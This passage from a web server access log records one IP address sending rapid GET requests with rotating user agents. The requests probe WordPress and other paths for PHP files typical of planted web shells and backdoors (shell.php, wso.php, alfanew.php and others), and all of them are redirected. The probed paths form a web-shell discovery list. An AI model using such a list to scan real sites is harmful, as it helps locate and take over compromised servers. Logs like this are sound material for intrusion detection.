(KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:01 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:31:01 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:01 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:01 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:01 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:02 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:02 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:02 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:02 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:02 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:03 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:03 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:03 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:03 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:03 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:03 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:31:04 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:04 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:31:04 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:04 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:31:04 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:04 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:05 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:05 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:05 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:05 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:05 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:05 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:06 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:06 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:06 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:06 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:06 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:06 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:07 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:07 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:07 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:07 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:31:07 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:07 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:08 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:08 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:08 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:08 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:08 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:09 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:09 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:09 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:09 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:09 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:09 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:10 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:31:10 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:10 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:10 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:10 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:11 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:11 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:11 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:11 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:11 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:11 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:12 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:12 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:12 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:12 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:12 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:12 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:13 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:13 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:13 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:13 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:13 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:14 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:14 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:14 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:31:14 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:14 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:14 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:15 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:15 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:15 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:15 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:15 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:31:16 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:16 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:16 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:16 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:16 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:16 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:17 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:17 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:31:17 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:17 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:17 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:31:17 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.36.126 - - [30/Apr/2025:23:31:18 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:18 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:31:18 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:18 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:18 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:18 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:19 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:19 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:19 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:19 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:19 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:31:20 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:20 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:31:20 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:20 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:20 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:20 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:31:21 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:21 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:31:21 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:31:21 -0400] "GET /ok.php HTTP/1.1" 301 795 